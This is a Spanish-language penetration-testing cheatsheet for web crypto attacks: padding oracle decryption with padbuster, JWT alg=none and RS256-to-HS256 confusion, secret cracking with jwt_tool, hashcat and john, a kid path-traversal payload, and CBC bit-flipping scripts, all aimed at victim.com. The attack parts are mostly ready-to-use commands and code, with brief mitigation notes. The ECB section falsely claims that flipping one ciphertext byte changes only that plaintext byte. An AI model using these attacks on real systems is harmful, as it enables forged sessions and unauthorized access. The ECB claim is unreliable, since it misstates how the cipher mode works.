Cheatsheet

Crypto attacks cheatsheet web pentest

Padding Oracle (CBC)

Detección

  • Enviar un bloque cifrado modificado (cambiar 1 byte en el penúltimo bloque) y observar diferencias en códigos de estado (200 vs 500), mensajes de error, o tiempos de respuesta.
  • Endpoints comunes: ?data=..., ?token=..., cuerpos JSON con campos cifrados, cookies cifradas.

Ataque manual (concepto clave)

  • Se descifra byte a byte del último bloque hacia atrás. Para un byte i del bloque C[n], se manipula el byte i del bloque C[n-1] hasta obtener padding válido (PKCS#7 → último byte 0x01, o 0x02 0x02, etc.).
  • Con cada padding válido, se obtiene el valor intermedio I[i] = P[i] XOR C'[n-1][i], y luego el plaintext real P[i] = I[i] XOR C[n-1][i].

Herramienta: padbuster (ejemplo real)

# Descifrar un valor cifrado en base64 (URL-safe) en un parámetro 'data'
padbuster http://victim.com/vuln.php "F5B9F2C1A3D4E5F60718293A4B5C6D7E8091A2B3C4D5E6F7" 16 -encoding 0 -cookies "session=abc123" -post "data=PLACEHOLDER"

# Ataque de cifrado (elegir plaintext)
padbuster http://victim.com/vuln.php "<ciphertext_original>" 16 -encoding 0 -plaintext "user=admin&role=1" -cookies "session=abc123"
  • Nota: 16 = tamaño de bloque en bytes. Verificar encoding (0 base64, 1 hex, 2 base64url).

Alternativa manual con Python (script mínimo)

import requests, base64

def oracle(ciphertext_b64):
    r = requests.post('http://victim.com/vuln.php', data={'data': ciphertext_b64})
    return r.status_code == 200  # ajustar según respuesta

cipher = base64.b64decode('...')
block_size = 16
# ... lógica de fuerza bruta por byte, comprobando padding valido

Prevención / Nota

  • El ataque funciona por revelar si el padding es válido (mensajes diferentes). Cifrado autenticado (AES-GCM) o HMAC antes de cifrar lo mitiga.

JWT — Algoritmo confusion y claves débiles

alg=none

  • Eliminar la firma, cambiar el header a {"alg":"none"} y dejar la parte de firma vacía.
  • Base64url del header: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
  • Ejemplo de token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
  • Si el servidor acepta alg: none, None, NONE o variaciones, la firma no se verifica.

Confusión RS256 → HS256 (asimetrica → simetrica)

  • El servidor firma con RSA (RS256) usando la clave privada, pero verifica con la clave pública. Si el endpoint usa el mismo secreto para HS256 y obtiene la clave pública, podemos firmar con ella.
# Obtener la clave pública (ej: /jwks.json, /auth/keys, metadata)
curl http://victim.com/jwks.json | jq -r '.keys[0].x5c[0]' | base64 -d > pubkey.der
openssl x509 -inform der -in pubkey.der -pubkey -noout > pubkey.pem

# Convertir a formato HMAC y firmar
jwt_tool <token_original> -X k -pk pubkey.pem  # modo 'k' = confusion
# o manualmente:
python -c "import jwt; print(jwt.encode({'user':'admin'}, open('pubkey.pem').read(), algorithm='HS256'))"

Claves débiles (fuerza bruta de secreto HMAC)

# jwt_tool
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt

# Hashcat
hashcat -m 16500 -a 0 jwt_token.txt /usr/share/wordlists/rockyou.txt
# (16500 = JWT HS256)

# john the ripper
john jwt_token.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

jwt_tool: otros flags utiles

# Verificar firma pasiva (sin ataque)
jwt_tool <token>

# Cambiar payload y re-firmar con secreto conocido
jwt_tool <token> -T -S hs256 -p "secreto_descubierto"

# Ataque kid path traversal (si usa 'kid' para elegir clave)
jwt_tool <token> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Prevención

  • Restringir algoritmos a una lista blanca, usar librerías que no permitan none por defecto, y asegurar que la clave pública no se use como HMAC secret.

ECB vs CBC Bit-Flipping

ECB — corte y reordenamiento de bloques

  • ECB cifra bloques independientemente: se pueden reordenar o duplicar bloques sin invalidar nada.
  • Ejemplo: cookie contiene role=user cifrado en ECB. Localizar el byte en el bloque, modificarlo para cambiar un byte (por sustitución de bloque completo).

Ataque práctico (ej: cambiar 'user' a 'admin' en un bloque)

  • Si el plaintext tiene estructura ...role=user... y conocemos el offset, modificamos el byte dentro del bloque (bit-flip directo sobre un byte del ciphertext). Un cambio en un byte del ciphertext ECB altera solo ese byte del plaintext.
# Ejemplo: cambiar 'u' (0x75) a 'a' (0x61) → XOR 0x14
idx = offset_del_caracter
cipher_byte = ciphertext[idx] ^ 0x14  # 0x75 XOR 0x14 = 0x61
ciphertext = ciphertext[:idx] + bytes([cipher_byte]) + ciphertext[idx+1:]

CBC Bit-Flipping (modificar plaintext sin conocer clave)

  • CBC: el bloque C[n] descifrado con la clave produce I[n] (intermedio). P[n] = I[n] XOR C[n-1].
  • Al modificar un byte de C[n-1], se altera el mismo byte de P[n] de forma predecible: P'[n][i] = P[n][i] XOR C[n-1][i] XOR C'[n-1][i].

Ejemplo real: inyectar 'admin=1' en un bloque

# Supongamos que el plaintext del bloque 2 contiene "role=user" y queremos byte a byte
# Cambiamos el byte i del bloque anterior (C[n-1])   
old_byte = plaintext_original[i]  # ej: ord('u')
new_byte = ord('a')
C_prev_modified[i] = C_prev_original[i] ^ old_byte ^ new_byte

# Resultado: al descifrar, el bloque n ahora tiene 'a' en ese byte

Herramienta: ninguna genérica, script manual

import requests

def bit_flip_cbc(cookie_b64, block_index, byte_index, old_plain, new_plain):
    import base64
    cookie = bytearray(base64.b64decode(cookie_b64))
    prev_block_start = (block_index - 1) * 16
    cookie[prev_block_start + byte_index] ^= ord(old_plain) ^ ord(new_plain)
    return base64.b64encode(bytes(cookie)).decode()

# Uso: modificar cookie y reenviar
  • Requisito: hay una forma de decodificar el plaintext original (ej: error message que revela contenido) para saber qué bytes modificar.

Detección rápida ECB vs CBC

  • Enviar dos bloques iguales de plaintext: si los bloques cifrados correspondientes son idénticos → ECB, sino CBC.

Herramientas adicionales

Padbuster flags importantes

  • -encoding 0 (base64), 1 (hex), 2 (base64url)
  • -cookies, -post, -get para indicar posicion del ciphertext
  • -proxy para depurar con Burp.

jwt_tool instalación / uso

git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && python3 jwt_tool.py
# Modo interactivo o CLI

Otras herramientas utiles

  • hashid para identificar tipo de hash de secreto.
  • feroxbuster para descubrir endpoints (a veces JWKS público).
  • crypto-commons (Burp plugin) para automatizar deteccion de padding oracle y CBC.

Notas finales (experiencia real)

  • En JWT confusion: verificar si el servidor acepta algorithm en mayúsculas/minúsculas mezcladas: AlG, aEg, etc.
  • Muchas veces el error Invalid signature revela si el alg es soportado o no. Si responde diferente a alg:none vs alg:HS256, hay superficie.
  • En padding oracle, no limitarse a status codes: mirar longitud de respuesta, redirecciones (302 vs 200), y tiempo de respuesta (si hay sleep en fallo).
  • En bit-flipping, si no se conoce el plaintext, intentar con patrones comunes: role=user, admin=0, isAdmin=false.

Referencia rápida (codificación)

import base64
def b64url_decode(data):
    # -len(data) % 4 da 0 si ya es múltiplo de 4 -- la fórmula (4 - len(data) % 4) en ese caso
    # da 4 en vez de 0 y agrega padding de más, rompiendo la decodificación.
    return base64.urlsafe_b64decode(data + '=' * (-len(data) % 4))